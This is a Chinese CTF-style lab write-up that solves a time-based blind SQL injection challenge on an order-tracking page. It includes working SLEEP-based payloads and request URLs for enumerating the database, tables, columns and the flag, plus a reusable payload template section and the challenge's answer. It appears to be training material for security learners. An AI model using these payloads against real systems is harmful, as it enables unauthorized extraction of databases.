SQL注入 - 延迟注入(无防护)靶场教程
题目信息
- 靶场地址:白帽江湖 SQL注入 - 延迟注入(无防护)
- 类型:SQL 注入 - 延迟注入(无防护)
- 目标:通过时间盲注拿到 flag
一、页面与接口分析
打开首页后,可以直接看到:
- 页面功能:订单追踪
- 输入框参数:
orderNo - 前端实际请求接口:
query.php?order_no=xxx - 示例订单号:
ORD20260301001ORD20260302015ORD20260303042
前端核心请求逻辑大致如下:
javascript
fetch('query.php?order_no=' + encodeURIComponent(no))
说明后端会接收 GET 参数 order_no,这是我们的注入点。
二、先验证参数是否可控
先访问一个正常订单号:
text
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001
可以正常返回订单 JSON 数据。
再测试单引号:
text
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001'
返回查询失败,说明很可能存在单引号拼接 SQL 的情况。
三、确认是否为时间盲注
一开始如果使用 --+ 作为注释符,延迟并不稳定;继续测试后可以发现这里使用 # 作为注释符更有效。
1. 真条件延迟测试
sql
ORD20260301001' AND IF(1=1,SLEEP(2),0)#
对应请求:
text
https://range.baimaojianghu.com/lab/32001/query.php?order_no=ORD20260301001'%20AND%20IF(1=1,SLEEP(2),0)%23
现象:响应时间明显约 2 秒。
2. 假条件对照测试
sql
ORD20260301001' AND IF(1=2,SLEEP(2),0)#
现象:响应几乎立即返回。
这就说明:
- 参数
order_no存在 SQL 注入 - 可以通过
IF(条件, SLEEP(n), 0)做时间盲注 - 注释符使用
#
四、判断数据库名
先确认当前数据库名长度,方法仍然选择使用二分法,最终确定数据库名长度为7,构造查询验证:
sql
ORD20260301001' AND IF(LENGTH(DATABASE())=7,SLEEP(2),0)#
延迟成立,说明当前数据库名长度为 7。
然后逐位猜解字符,例如第一位:
sql
ORD20260301001' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=118,SLEEP(2),0)#
因为 ASCII 118 对应字符 v,延迟成立。
按同样方法继续枚举,最终得到数据库名:
text
vuln_db
五、枚举当前数据库中的表名
先猜表数量:
sql
ORD20260301001' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=2,SLEEP(2),0)#
延迟成立,说明当前库中有 2 张表。
然后逐个枚举表名。
第 1 张表
判断长度:
sql
ORD20260301001' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=6,SLEEP(2),0)#
再逐位猜解,得到:
text
orders
第 2 张表
判断长度:
sql
ORD20260301001' AND IF(LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))=12,SLEEP(2),0)#
逐位枚举后得到:
text
secret_flags
显然 secret_flags 很可疑,下一步直接枚举它的字段。
六、枚举 secret_flags 表字段
先判断字段数量:
sql
ORD20260301001' AND IF((SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='secret_flags')=3,SLEEP(2),0)#
延迟成立,说明共有 3 个字段。
继续逐个枚举字段名,最终得到:
text
id
flag_name
flag_value
七、提取 flag
先确认表中记录数:
sql
ORD20260301001' AND IF((SELECT COUNT(*) FROM secret_flags)=1,SLEEP(2),0)#
说明只有 1 条记录。
1. 枚举 flag_name
判断长度:
sql
ORD20260301001' AND IF(LENGTH((SELECT flag_name FROM secret_flags LIMIT 0,1))=4,SLEEP(2),0)#
逐位枚举后得到:
text
flag
2. 枚举 flag_value
判断长度:
sql
ORD20260301001' AND IF(LENGTH((SELECT flag_value FROM secret_flags LIMIT 0,1))=22,SLEEP(2),0)#
然后逐位猜解:
sql
ORD20260301001' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),1,1))=102,SLEEP(2),0)#
sql
ORD20260301001' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),2,1))=108,SLEEP(2),0)#
按这种方式一直枚举到第 22 位,最终得到:
text
flag{t1m3_bl1nd_sl33p}
八、最终答案
text
flag{t1m3_bl1nd_sl33p}
九、时间盲注核心思路总结
这道题的关键点有 3 个:
-
先确认闭合方式
- 这里可以用单引号
'闭合原始 SQL。
- 这里可以用单引号
-
找到可用注释符
--+在这里不稳定,#可以正常注释后续语句。
-
通过真假条件对比响应时间
- 真:
IF(condition,SLEEP(2),0)会明显延迟 - 假:不会延迟
- 利用这一点可以逐位枚举数据库名、表名、字段名和 flag。
- 真:
十、通用时间盲注模板
判断长度
sql
' AND IF(LENGTH((SELECT database()))=7,SLEEP(2),0)#
爆破单个字符
sql
' AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=118,SLEEP(2),0)#
枚举表名
sql
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=111,SLEEP(2),0)#
枚举字段内容
sql
' AND IF(ASCII(SUBSTRING((SELECT flag_value FROM secret_flags LIMIT 0,1),1,1))=102,SLEEP(2),0)#
十一、补充说明
如果手工测试太慢,可以写脚本自动化:
- 外层先猜长度
- 内层再逐位枚举字符
- 通过响应时间是否超过阈值判断条件真假
本题实战中最终枚举出的关键信息如下:
- 数据库名:
vuln_db - 表名:
orders、secret_flags - 字段名:
id、flag_name、flag_value - flag:
flag{t1m3_bl1nd_sl33p}